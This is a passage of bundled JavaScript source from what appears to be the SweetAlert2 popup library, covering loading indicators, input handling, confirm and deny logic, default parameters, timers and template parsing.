  1698. globalState.swalCloseEventFinishedCallback();
  1699. delete globalState.swalCloseEventFinishedCallback;
  1700. }
  1701. });
  1702. };
  1703. const triggerDidCloseAndDispose = (instance, didClose) => {
  1704. setTimeout(() => {
  1705. if (typeof didClose === "function") {
  1706. didClose.bind(instance.params)();
  1707. }
  1708. if (instance._destroy) {
  1709. instance._destroy();
  1710. }
  1711. });
  1712. };
  1713. const showLoading = (buttonToReplace) => {
  1714. let popup = getPopup();
  1715. if (!popup) {
  1716. new Swal2();
  1717. }
  1718. popup = getPopup();
  1719. const loader = getLoader();
  1720. if (isToast()) {
  1721. hide(getIcon());
  1722. } else {
  1723. replaceButton(popup, buttonToReplace);
  1724. }
  1725. show(loader);
  1726. popup.setAttribute("data-loading", "true");
  1727. popup.setAttribute("aria-busy", "true");
  1728. popup.focus();
  1729. };
  1730. const replaceButton = (popup, buttonToReplace) => {
  1731. const actions = getActions();
  1732. const loader = getLoader();
  1733. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  1734. buttonToReplace = getConfirmButton();
  1735. }
  1736. show(actions);
  1737. if (buttonToReplace) {
  1738. hide(buttonToReplace);
  1739. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  1740. }
  1741. loader.parentNode.insertBefore(loader, buttonToReplace);
  1742. addClass([popup, actions], swalClasses.loading);
  1743. };
  1744. const handleInputOptionsAndValue = (instance, params) => {
  1745. if (params.input === "select" || params.input === "radio") {
  1746. handleInputOptions(instance, params);
  1747. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  1748. showLoading(getConfirmButton());
  1749. handleInputValue(instance, params);
  1750. }
  1751. };
  1752. const getInputValue = (instance, innerParams) => {
  1753. const input = instance.getInput();
  1754. if (!input) {
  1755. return null;
  1756. }
  1757. switch (innerParams.input) {
  1758. case "checkbox":
  1759. return getCheckboxValue(input);
  1760. case "radio":
  1761. return getRadioValue(input);
  1762. case "file":
  1763. return getFileValue(input);
  1764. default:
  1765. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  1766. }
  1767. };
  1768. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  1769. const getRadioValue = (input) => input.checked ? input.value : null;
  1770. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  1771. const handleInputOptions = (instance, params) => {
  1772. const popup = getPopup();
  1773. const processInputOptions = (inputOptions) => {
  1774. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  1775. };
  1776. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  1777. showLoading(getConfirmButton());
  1778. asPromise(params.inputOptions).then((inputOptions) => {
  1779. instance.hideLoading();
  1780. processInputOptions(inputOptions);
  1781. });
  1782. } else if (typeof params.inputOptions === "object") {
  1783. processInputOptions(params.inputOptions);
  1784. } else {
  1785. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  1786. }
  1787. };
  1788. const handleInputValue = (instance, params) => {
  1789. const input = instance.getInput();
  1790. hide(input);
  1791. asPromise(params.inputValue).then((inputValue) => {
  1792. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  1793. show(input);
  1794. input.focus();
  1795. instance.hideLoading();
  1796. }).catch((err) => {
  1797. error(`Error in inputValue promise: ${err}`);
  1798. input.value = "";
  1799. show(input);
  1800. input.focus();
  1801. instance.hideLoading();
  1802. });
  1803. };
  1804. const populateInputOptions = {
  1805. /**
  1806. * @param {HTMLElement} popup
  1807. * @param {Record<string, any>} inputOptions
  1808. * @param {SweetAlertOptions} params
  1809. */
  1810. select: (popup, inputOptions, params) => {
  1811. const select = getDirectChildByClass(popup, swalClasses.select);
  1812. const renderOption = (parent, optionLabel, optionValue) => {
  1813. const option = document.createElement("option");
  1814. option.value = optionValue;
  1815. setInnerHtml(option, optionLabel);
  1816. option.selected = isSelected(optionValue, params.inputValue);
  1817. parent.appendChild(option);
  1818. };
  1819. inputOptions.forEach((inputOption) => {
  1820. const optionValue = inputOption[0];
  1821. const optionLabel = inputOption[1];
  1822. if (Array.isArray(optionLabel)) {
  1823. const optgroup = document.createElement("optgroup");
  1824. optgroup.label = optionValue;
  1825. optgroup.disabled = false;
  1826. select.appendChild(optgroup);
  1827. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  1828. } else {
  1829. renderOption(select, optionLabel, optionValue);
  1830. }
  1831. });
  1832. select.focus();
  1833. },
  1834. /**
  1835. * @param {HTMLElement} popup
  1836. * @param {Record<string, any>} inputOptions
  1837. * @param {SweetAlertOptions} params
  1838. */
  1839. radio: (popup, inputOptions, params) => {
  1840. const radio = getDirectChildByClass(popup, swalClasses.radio);
  1841. inputOptions.forEach((inputOption) => {
  1842. const radioValue = inputOption[0];
  1843. const radioLabel = inputOption[1];
  1844. const radioInput = document.createElement("input");
  1845. const radioLabelElement = document.createElement("label");
  1846. radioInput.type = "radio";
  1847. radioInput.name = swalClasses.radio;
  1848. radioInput.value = radioValue;
  1849. if (isSelected(radioValue, params.inputValue)) {
  1850. radioInput.checked = true;
  1851. }
  1852. const label = document.createElement("span");
  1853. setInnerHtml(label, radioLabel);
  1854. label.className = swalClasses.label;
  1855. radioLabelElement.appendChild(radioInput);
  1856. radioLabelElement.appendChild(label);
  1857. radio.appendChild(radioLabelElement);
  1858. });
  1859. const radios = radio.querySelectorAll("input");
  1860. if (radios.length) {
  1861. radios[0].focus();
  1862. }
  1863. }
  1864. };
  1865. const formatInputOptions = (inputOptions) => {
  1866. const result = [];
  1867. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  1868. inputOptions.forEach((value, key) => {
  1869. let valueFormatted = value;
  1870. if (typeof valueFormatted === "object") {
  1871. valueFormatted = formatInputOptions(valueFormatted);
  1872. }
  1873. result.push([key, valueFormatted]);
  1874. });
  1875. } else {
  1876. Object.keys(inputOptions).forEach((key) => {
  1877. let valueFormatted = inputOptions[key];
  1878. if (typeof valueFormatted === "object") {
  1879. valueFormatted = formatInputOptions(valueFormatted);
  1880. }
  1881. result.push([key, valueFormatted]);
  1882. });
  1883. }
  1884. return result;
  1885. };
  1886. const isSelected = (optionValue, inputValue) => {
  1887. return inputValue && inputValue.toString() === optionValue.toString();
  1888. };
  1889. const handleConfirmButtonClick = (instance) => {
  1890. const innerParams = privateProps.innerParams.get(instance);
  1891. instance.disableButtons();
  1892. if (innerParams.input) {
  1893. handleConfirmOrDenyWithInput(instance, "confirm");
  1894. } else {
  1895. confirm(instance, true);
  1896. }
  1897. };
  1898. const handleDenyButtonClick = (instance) => {
  1899. const innerParams = privateProps.innerParams.get(instance);
  1900. instance.disableButtons();
  1901. if (innerParams.returnInputValueOnDeny) {
  1902. handleConfirmOrDenyWithInput(instance, "deny");
  1903. } else {
  1904. deny(instance, false);
  1905. }
  1906. };
  1907. const handleCancelButtonClick = (instance, dismissWith) => {
  1908. instance.disableButtons();
  1909. dismissWith(DismissReason.cancel);
  1910. };
  1911. const handleConfirmOrDenyWithInput = (instance, type) => {
  1912. const innerParams = privateProps.innerParams.get(instance);
  1913. if (!innerParams.input) {
  1914. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  1915. return;
  1916. }
  1917. const inputValue = getInputValue(instance, innerParams);
  1918. if (innerParams.inputValidator) {
  1919. handleInputValidator(instance, inputValue, type);
  1920. } else if (!instance.getInput().checkValidity()) {
  1921. instance.enableButtons();
  1922. instance.showValidationMessage(innerParams.validationMessage);
  1923. } else if (type === "deny") {
  1924. deny(instance, inputValue);
  1925. } else {
  1926. confirm(instance, inputValue);
  1927. }
  1928. };
  1929. const handleInputValidator = (instance, inputValue, type) => {
  1930. const innerParams = privateProps.innerParams.get(instance);
  1931. instance.disableInput();
  1932. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  1933. validationPromise.then((validationMessage) => {
  1934. instance.enableButtons();
  1935. instance.enableInput();
  1936. if (validationMessage) {
  1937. instance.showValidationMessage(validationMessage);
  1938. } else if (type === "deny") {
  1939. deny(instance, inputValue);
  1940. } else {
  1941. confirm(instance, inputValue);
  1942. }
  1943. });
  1944. };
  1945. const deny = (instance, value) => {
  1946. const innerParams = privateProps.innerParams.get(instance || void 0);
  1947. if (innerParams.showLoaderOnDeny) {
  1948. showLoading(getDenyButton());
  1949. }
  1950. if (innerParams.preDeny) {
  1951. instance.isAwaitingPromise = true;
  1952. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  1953. preDenyPromise.then((preDenyValue) => {
  1954. if (preDenyValue === false) {
  1955. instance.hideLoading();
  1956. handleAwaitingPromise(instance);
  1957. } else {
  1958. instance.close({
  1959. isDenied: true,
  1960. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  1961. });
  1962. }
  1963. }).catch((error2) => rejectWith(instance || void 0, error2));
  1964. } else {
  1965. instance.close({
  1966. isDenied: true,
  1967. value
  1968. });
  1969. }
  1970. };
  1971. const succeedWith = (instance, value) => {
  1972. instance.close({
  1973. isConfirmed: true,
  1974. value
  1975. });
  1976. };
  1977. const rejectWith = (instance, error2) => {
  1978. instance.rejectPromise(error2);
  1979. };
  1980. const confirm = (instance, value) => {
  1981. const innerParams = privateProps.innerParams.get(instance || void 0);
  1982. if (innerParams.showLoaderOnConfirm) {
  1983. showLoading();
  1984. }
  1985. if (innerParams.preConfirm) {
  1986. instance.resetValidationMessage();
  1987. instance.isAwaitingPromise = true;
  1988. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  1989. preConfirmPromise.then((preConfirmValue) => {
  1990. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  1991. instance.hideLoading();
  1992. handleAwaitingPromise(instance);
  1993. } else {
  1994. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  1995. }
  1996. }).catch((error2) => rejectWith(instance || void 0, error2));
  1997. } else {
  1998. succeedWith(instance, value);
  1999. }
  2000. };
  2001. function hideLoading() {
  2002. const innerParams = privateProps.innerParams.get(this);
  2003. if (!innerParams) {
  2004. return;
  2005. }
  2006. const domCache = privateProps.domCache.get(this);
  2007. hide(domCache.loader);
  2008. if (isToast()) {
  2009. if (innerParams.icon) {
  2010. show(getIcon());
  2011. }
  2012. } else {
  2013. showRelatedButton(domCache);
  2014. }
  2015. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2016. domCache.popup.removeAttribute("aria-busy");
  2017. domCache.popup.removeAttribute("data-loading");
  2018. domCache.confirmButton.disabled = false;
  2019. domCache.denyButton.disabled = false;
  2020. domCache.cancelButton.disabled = false;
  2021. }
  2022. const showRelatedButton = (domCache) => {
  2023. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2024. if (buttonToReplace.length) {
  2025. show(buttonToReplace[0], "inline-block");
  2026. } else if (allButtonsAreHidden()) {
  2027. hide(domCache.actions);
  2028. }
  2029. };
  2030. function getInput() {
  2031. const innerParams = privateProps.innerParams.get(this);
  2032. const domCache = privateProps.domCache.get(this);
  2033. if (!domCache) {
  2034. return null;
  2035. }
  2036. return getInput$1(domCache.popup, innerParams.input);
  2037. }
  2038. function setButtonsDisabled(instance, buttons, disabled) {
  2039. const domCache = privateProps.domCache.get(instance);
  2040. buttons.forEach((button) => {
  2041. domCache[button].disabled = disabled;
  2042. });
  2043. }
  2044. function setInputDisabled(input, disabled) {
  2045. if (!input) {
  2046. return;
  2047. }
  2048. if (input.type === "radio") {
  2049. const radiosContainer = input.parentNode.parentNode;
  2050. const radios = radiosContainer.querySelectorAll("input");
  2051. for (let i = 0; i < radios.length; i++) {
  2052. radios[i].disabled = disabled;
  2053. }
  2054. } else {
  2055. input.disabled = disabled;
  2056. }
  2057. }
  2058. function enableButtons() {
  2059. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2060. }
  2061. function disableButtons() {
  2062. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2063. }
  2064. function enableInput() {
  2065. setInputDisabled(this.getInput(), false);
  2066. }
  2067. function disableInput() {
  2068. setInputDisabled(this.getInput(), true);
  2069. }
  2070. function showValidationMessage(error2) {
  2071. const domCache = privateProps.domCache.get(this);
  2072. const params = privateProps.innerParams.get(this);
  2073. setInnerHtml(domCache.validationMessage, error2);
  2074. domCache.validationMessage.className = swalClasses["validation-message"];
  2075. if (params.customClass && params.customClass.validationMessage) {
  2076. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2077. }
  2078. show(domCache.validationMessage);
  2079. const input = this.getInput();
  2080. if (input) {
  2081. input.setAttribute("aria-invalid", true);
  2082. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2083. focusInput(input);
  2084. addClass(input, swalClasses.inputerror);
  2085. }
  2086. }
  2087. function resetValidationMessage() {
  2088. const domCache = privateProps.domCache.get(this);
  2089. if (domCache.validationMessage) {
  2090. hide(domCache.validationMessage);
  2091. }
  2092. const input = this.getInput();
  2093. if (input) {
  2094. input.removeAttribute("aria-invalid");
  2095. input.removeAttribute("aria-describedby");
  2096. removeClass(input, swalClasses.inputerror);
  2097. }
  2098. }
  2099. const defaultParams = {
  2100. title: "",
  2101. titleText: "",
  2102. text: "",
  2103. html: "",
  2104. footer: "",
  2105. icon: void 0,
  2106. iconColor: void 0,
  2107. iconHtml: void 0,
  2108. template: void 0,
  2109. toast: false,
  2110. showClass: {
  2111. popup: "swal2-show",
  2112. backdrop: "swal2-backdrop-show",
  2113. icon: "swal2-icon-show"
  2114. },
  2115. hideClass: {
  2116. popup: "swal2-hide",
  2117. backdrop: "swal2-backdrop-hide",
  2118. icon: "swal2-icon-hide"
  2119. },
  2120. customClass: {},
  2121. target: "body",
  2122. color: void 0,
  2123. backdrop: true,
  2124. heightAuto: true,
  2125. allowOutsideClick: true,
  2126. allowEscapeKey: true,
  2127. allowEnterKey: true,
  2128. stopKeydownPropagation: true,
  2129. keydownListenerCapture: false,
  2130. showConfirmButton: true,
  2131. showDenyButton: false,
  2132. showCancelButton: false,
  2133. preConfirm: void 0,
  2134. preDeny: void 0,
  2135. confirmButtonText: "OK",
  2136. confirmButtonAriaLabel: "",
  2137. confirmButtonColor: void 0,
  2138. denyButtonText: "No",
  2139. denyButtonAriaLabel: "",
  2140. denyButtonColor: void 0,
  2141. cancelButtonText: "Cancel",
  2142. cancelButtonAriaLabel: "",
  2143. cancelButtonColor: void 0,
  2144. buttonsStyling: true,
  2145. reverseButtons: false,
  2146. focusConfirm: true,
  2147. focusDeny: false,
  2148. focusCancel: false,
  2149. returnFocus: true,
  2150. showCloseButton: false,
  2151. closeButtonHtml: "&times;",
  2152. closeButtonAriaLabel: "Close this dialog",
  2153. loaderHtml: "",
  2154. showLoaderOnConfirm: false,
  2155. showLoaderOnDeny: false,
  2156. imageUrl: void 0,
  2157. imageWidth: void 0,
  2158. imageHeight: void 0,
  2159. imageAlt: "",
  2160. timer: void 0,
  2161. timerProgressBar: false,
  2162. width: void 0,
  2163. padding: void 0,
  2164. background: void 0,
  2165. input: void 0,
  2166. inputPlaceholder: "",
  2167. inputLabel: "",
  2168. inputValue: "",
  2169. inputOptions: {},
  2170. inputAutoFocus: true,
  2171. inputAutoTrim: true,
  2172. inputAttributes: {},
  2173. inputValidator: void 0,
  2174. returnInputValueOnDeny: false,
  2175. validationMessage: void 0,
  2176. grow: false,
  2177. position: "center",
  2178. progressSteps: [],
  2179. currentProgressStep: void 0,
  2180. progressStepsDistance: void 0,
  2181. willOpen: void 0,
  2182. didOpen: void 0,
  2183. didRender: void 0,
  2184. willClose: void 0,
  2185. didClose: void 0,
  2186. didDestroy: void 0,
  2187. scrollbarPadding: true
  2188. };
  2189. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2190. const deprecatedParams = {};
  2191. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2192. const isValidParameter = (paramName) => {
  2193. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2194. };
  2195. const isUpdatableParameter = (paramName) => {
  2196. return updatableParams.indexOf(paramName) !== -1;
  2197. };
  2198. const isDeprecatedParameter = (paramName) => {
  2199. return deprecatedParams[paramName];
  2200. };
  2201. const checkIfParamIsValid = (param) => {
  2202. if (!isValidParameter(param)) {
  2203. warn(`Unknown parameter "${param}"`);
  2204. }
  2205. };
  2206. const checkIfToastParamIsValid = (param) => {
  2207. if (toastIncompatibleParams.includes(param)) {
  2208. warn(`The parameter "${param}" is incompatible with toasts`);
  2209. }
  2210. };
  2211. const checkIfParamIsDeprecated = (param) => {
  2212. const isDeprecated = isDeprecatedParameter(param);
  2213. if (isDeprecated) {
  2214. warnAboutDeprecation(param, isDeprecated);
  2215. }
  2216. };
  2217. const showWarningsForParams = (params) => {
  2218. if (params.backdrop === false && params.allowOutsideClick) {
  2219. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2220. }
  2221. for (const param in params) {
  2222. checkIfParamIsValid(param);
  2223. if (params.toast) {
  2224. checkIfToastParamIsValid(param);
  2225. }
  2226. checkIfParamIsDeprecated(param);
  2227. }
  2228. };
  2229. function update(params) {
  2230. const popup = getPopup();
  2231. const innerParams = privateProps.innerParams.get(this);
  2232. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2233. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2234. return;
  2235. }
  2236. const validUpdatableParams = filterValidParams(params);
  2237. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2238. render(this, updatedParams);
  2239. privateProps.innerParams.set(this, updatedParams);
  2240. Object.defineProperties(this, {
  2241. params: {
  2242. value: Object.assign({}, this.params, params),
  2243. writable: false,
  2244. enumerable: true
  2245. }
  2246. });
  2247. }
  2248. const filterValidParams = (params) => {
  2249. const validUpdatableParams = {};
  2250. Object.keys(params).forEach((param) => {
  2251. if (isUpdatableParameter(param)) {
  2252. validUpdatableParams[param] = params[param];
  2253. } else {
  2254. warn(`Invalid parameter to update: ${param}`);
  2255. }
  2256. });
  2257. return validUpdatableParams;
  2258. };
  2259. function _destroy() {
  2260. const domCache = privateProps.domCache.get(this);
  2261. const innerParams = privateProps.innerParams.get(this);
  2262. if (!innerParams) {
  2263. disposeWeakMaps(this);
  2264. return;
  2265. }
  2266. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2267. globalState.swalCloseEventFinishedCallback();
  2268. delete globalState.swalCloseEventFinishedCallback;
  2269. }
  2270. if (typeof innerParams.didDestroy === "function") {
  2271. innerParams.didDestroy();
  2272. }
  2273. disposeSwal(this);
  2274. }
  2275. const disposeSwal = (instance) => {
  2276. disposeWeakMaps(instance);
  2277. delete instance.params;
  2278. delete globalState.keydownHandler;
  2279. delete globalState.keydownTarget;
  2280. delete globalState.currentInstance;
  2281. };
  2282. const disposeWeakMaps = (instance) => {
  2283. if (instance.isAwaitingPromise) {
  2284. unsetWeakMaps(privateProps, instance);
  2285. instance.isAwaitingPromise = true;
  2286. } else {
  2287. unsetWeakMaps(privateMethods, instance);
  2288. unsetWeakMaps(privateProps, instance);
  2289. delete instance.isAwaitingPromise;
  2290. delete instance.disableButtons;
  2291. delete instance.enableButtons;
  2292. delete instance.getInput;
  2293. delete instance.disableInput;
  2294. delete instance.enableInput;
  2295. delete instance.hideLoading;
  2296. delete instance.disableLoading;
  2297. delete instance.showValidationMessage;
  2298. delete instance.resetValidationMessage;
  2299. delete instance.close;
  2300. delete instance.closePopup;
  2301. delete instance.closeModal;
  2302. delete instance.closeToast;
  2303. delete instance.rejectPromise;
  2304. delete instance.update;
  2305. delete instance._destroy;
  2306. }
  2307. };
  2308. const unsetWeakMaps = (obj, instance) => {
  2309. for (const i in obj) {
  2310. obj[i].delete(instance);
  2311. }
  2312. };
  2313. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2314. __proto__: null,
  2315. _destroy,
  2316. close,
  2317. closeModal: close,
  2318. closePopup: close,
  2319. closeToast: close,
  2320. disableButtons,
  2321. disableInput,
  2322. disableLoading: hideLoading,
  2323. enableButtons,
  2324. enableInput,
  2325. getInput,
  2326. handleAwaitingPromise,
  2327. hideLoading,
  2328. rejectPromise,
  2329. resetValidationMessage,
  2330. showValidationMessage,
  2331. update
  2332. });
  2333. const handlePopupClick = (instance, domCache, dismissWith) => {
  2334. const innerParams = privateProps.innerParams.get(instance);
  2335. if (innerParams.toast) {
  2336. handleToastClick(instance, domCache, dismissWith);
  2337. } else {
  2338. handleModalMousedown(domCache);
  2339. handleContainerMousedown(domCache);
  2340. handleModalClick(instance, domCache, dismissWith);
  2341. }
  2342. };
  2343. const handleToastClick = (instance, domCache, dismissWith) => {
  2344. domCache.popup.onclick = () => {
  2345. const innerParams = privateProps.innerParams.get(instance);
  2346. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  2347. return;
  2348. }
  2349. dismissWith(DismissReason.close);
  2350. };
  2351. };
  2352. const isAnyButtonShown = (innerParams) => {
  2353. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  2354. };
  2355. let ignoreOutsideClick = false;
  2356. const handleModalMousedown = (domCache) => {
  2357. domCache.popup.onmousedown = () => {
  2358. domCache.container.onmouseup = function(e) {
  2359. domCache.container.onmouseup = void 0;
  2360. if (e.target === domCache.container) {
  2361. ignoreOutsideClick = true;
  2362. }
  2363. };
  2364. };
  2365. };
  2366. const handleContainerMousedown = (domCache) => {
  2367. domCache.container.onmousedown = () => {
  2368. domCache.popup.onmouseup = function(e) {
  2369. domCache.popup.onmouseup = void 0;
  2370. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  2371. ignoreOutsideClick = true;
  2372. }
  2373. };
  2374. };
  2375. };
  2376. const handleModalClick = (instance, domCache, dismissWith) => {
  2377. domCache.container.onclick = (e) => {
  2378. const innerParams = privateProps.innerParams.get(instance);
  2379. if (ignoreOutsideClick) {
  2380. ignoreOutsideClick = false;
  2381. return;
  2382. }
  2383. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  2384. dismissWith(DismissReason.backdrop);
  2385. }
  2386. };
  2387. };
  2388. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  2389. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  2390. const argsToParams = (args) => {
  2391. const params = {};
  2392. if (typeof args[0] === "object" && !isElement(args[0])) {
  2393. Object.assign(params, args[0]);
  2394. } else {
  2395. ["title", "html", "icon"].forEach((name, index) => {
  2396. const arg = args[index];
  2397. if (typeof arg === "string" || isElement(arg)) {
  2398. params[name] = arg;
  2399. } else if (arg !== void 0) {
  2400. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  2401. }
  2402. });
  2403. }
  2404. return params;
  2405. };
  2406. function fire() {
  2407. const Swal3 = this;
  2408. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2409. args[_key] = arguments[_key];
  2410. }
  2411. return new Swal3(...args);
  2412. }
  2413. function mixin(mixinParams) {
  2414. class MixinSwal extends this {
  2415. _main(params, priorityMixinParams) {
  2416. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  2417. }
  2418. }
  2419. return MixinSwal;
  2420. }
  2421. const getTimerLeft = () => {
  2422. return globalState.timeout && globalState.timeout.getTimerLeft();
  2423. };
  2424. const stopTimer = () => {
  2425. if (globalState.timeout) {
  2426. stopTimerProgressBar();
  2427. return globalState.timeout.stop();
  2428. }
  2429. };
  2430. const resumeTimer = () => {
  2431. if (globalState.timeout) {
  2432. const remaining = globalState.timeout.start();
  2433. animateTimerProgressBar(remaining);
  2434. return remaining;
  2435. }
  2436. };
  2437. const toggleTimer = () => {
  2438. const timer = globalState.timeout;
  2439. return timer && (timer.running ? stopTimer() : resumeTimer());
  2440. };
  2441. const increaseTimer = (n) => {
  2442. if (globalState.timeout) {
  2443. const remaining = globalState.timeout.increase(n);
  2444. animateTimerProgressBar(remaining, true);
  2445. return remaining;
  2446. }
  2447. };
  2448. const isTimerRunning = () => {
  2449. return !!(globalState.timeout && globalState.timeout.isRunning());
  2450. };
  2451. let bodyClickListenerAdded = false;
  2452. const clickHandlers = {};
  2453. function bindClickHandler() {
  2454. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  2455. clickHandlers[attr] = this;
  2456. if (!bodyClickListenerAdded) {
  2457. document.body.addEventListener("click", bodyClickListener);
  2458. bodyClickListenerAdded = true;
  2459. }
  2460. }
  2461. const bodyClickListener = (event) => {
  2462. for (let el = event.target; el && el !== document; el = el.parentNode) {
  2463. for (const attr in clickHandlers) {
  2464. const template = el.getAttribute(attr);
  2465. if (template) {
  2466. clickHandlers[attr].fire({
  2467. template
  2468. });
  2469. return;
  2470. }
  2471. }
  2472. }
  2473. };
  2474. var staticMethods = /* @__PURE__ */ Object.freeze({
  2475. __proto__: null,
  2476. argsToParams,
  2477. bindClickHandler,
  2478. clickCancel,
  2479. clickConfirm,
  2480. clickDeny,
  2481. enableLoading: showLoading,
  2482. fire,
  2483. getActions,
  2484. getCancelButton,
  2485. getCloseButton,
  2486. getConfirmButton,
  2487. getContainer,
  2488. getDenyButton,
  2489. getFocusableElements,
  2490. getFooter,
  2491. getHtmlContainer,
  2492. getIcon,
  2493. getIconContent,
  2494. getImage,
  2495. getInputLabel,
  2496. getLoader,
  2497. getPopup,
  2498. getProgressSteps,
  2499. getTimerLeft,
  2500. getTimerProgressBar,
  2501. getTitle,
  2502. getValidationMessage,
  2503. increaseTimer,
  2504. isDeprecatedParameter,
  2505. isLoading,
  2506. isTimerRunning,
  2507. isUpdatableParameter,
  2508. isValidParameter,
  2509. isVisible,
  2510. mixin,
  2511. resumeTimer,
  2512. showLoading,
  2513. stopTimer,
  2514. toggleTimer
  2515. });
  2516. class Timer {
  2517. /**
  2518. * @param {Function} callback
  2519. * @param {number} delay
  2520. */
  2521. constructor(callback, delay) {
  2522. this.callback = callback;
  2523. this.remaining = delay;
  2524. this.running = false;
  2525. this.start();
  2526. }
  2527. /**
  2528. * @returns {number}
  2529. */
  2530. start() {
  2531. if (!this.running) {
  2532. this.running = true;
  2533. this.started = /* @__PURE__ */ new Date();
  2534. this.id = setTimeout(this.callback, this.remaining);
  2535. }
  2536. return this.remaining;
  2537. }
  2538. /**
  2539. * @returns {number}
  2540. */
  2541. stop() {
  2542. if (this.started && this.running) {
  2543. this.running = false;
  2544. clearTimeout(this.id);
  2545. this.remaining -= (/* @__PURE__ */ new Date()).getTime() - this.started.getTime();
  2546. }
  2547. return this.remaining;
  2548. }
  2549. /**
  2550. * @param {number} n
  2551. * @returns {number}
  2552. */
  2553. increase(n) {
  2554. const running = this.running;
  2555. if (running) {
  2556. this.stop();
  2557. }
  2558. this.remaining += n;
  2559. if (running) {
  2560. this.start();
  2561. }
  2562. return this.remaining;
  2563. }
  2564. /**
  2565. * @returns {number}
  2566. */
  2567. getTimerLeft() {
  2568. if (this.running) {
  2569. this.stop();
  2570. this.start();
  2571. }
  2572. return this.remaining;
  2573. }
  2574. /**
  2575. * @returns {boolean}
  2576. */
  2577. isRunning() {
  2578. return this.running;
  2579. }
  2580. }
  2581. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  2582. const getTemplateParams = (params) => {
  2583. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  2584. if (!template) {
  2585. return {};
  2586. }
  2587. const templateContent = template.content;
  2588. showWarningsForElements(templateContent);
  2589. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  2590. return result;
  2591. };
  2592. const getSwalParams = (templateContent) => {
  2593. const result = {};
  2594. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  2595. swalParams.forEach((param) => {
  2596. showWarningsForAttributes(param, ["name", "value"]);
  2597. const paramName = param.getAttribute("name");
  2598. const value = param.getAttribute("value");
  2599. if (typeof defaultParams[paramName] === "boolean") {
  2600. result[paramName] = value !== "false";
  2601. } else if (typeof defaultParams[paramName] === "object") {
  2602. result[paramName] = JSON.parse(value);
  2603. } else {
  2604. result[paramName] = value;
  2605. }
  2606. });
  2607. return result;
  2608. };
  2609. const getSwalFunctionParams = (templateContent) => {
  2610. const result = {};
  2611. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  2612. swalFunctions.forEach((param) => {
  2613. const paramName = param.getAttribute("name");
  2614. const value = param.getAttribute("value");
  2615. result[paramName] = new Function(`return ${value}`)();
  2616. });
  2617. return result;
  2618. };
  2619. const getSwalButtons = (templateContent) => {
  2620. const result = {};
  2621. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
